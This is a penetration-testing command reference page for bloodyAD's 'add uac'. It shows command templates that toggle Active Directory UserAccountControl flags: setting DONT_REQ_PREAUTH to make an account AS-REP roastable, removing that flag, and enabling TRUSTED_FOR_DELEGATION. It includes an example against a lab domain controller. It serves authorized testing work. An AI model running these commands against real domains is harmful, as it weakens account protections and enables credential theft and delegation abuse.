bloodyAD add uac

Toggle UserAccountControl flags on a target account. Setting DONT_REQ_PREAUTH on a user you control (via writeAccountRestrictions) makes them AS-REP roastable on demand. Other useful flags: TRUSTED_FOR_DELEGATION, ACCOUNTDISABLE.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: bloodyAD
Category: Credential Attacks / Password Manipulation
Platform: linux
Requires: password
Protocols: LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host <dc-ip> -d '<domain>' -u '<user>' -p '<password>' add uac '<target>' -f DONT_REQ_PREAUTH

Credential variants

The same attack using a different authentication material.

Remove Flag requires password

bloodyAD --host <dc-ip> -d '<domain>' -u '<user>' -p '<password>' remove uac '<target>' -f DONT_REQ_PREAUTH

Unconstrained Delegation requires password

bloodyAD --host <dc-ip> -d '<domain>' -u '<user>' -p '<password>' add uac '<target>' -f TRUSTED_FOR_DELEGATION

Examples

bloodyAD --host 10.10.10.10 -d corp.local -u jdoe -p 'Password123!' add uac svc_app -f DONT_REQ_PREAUTH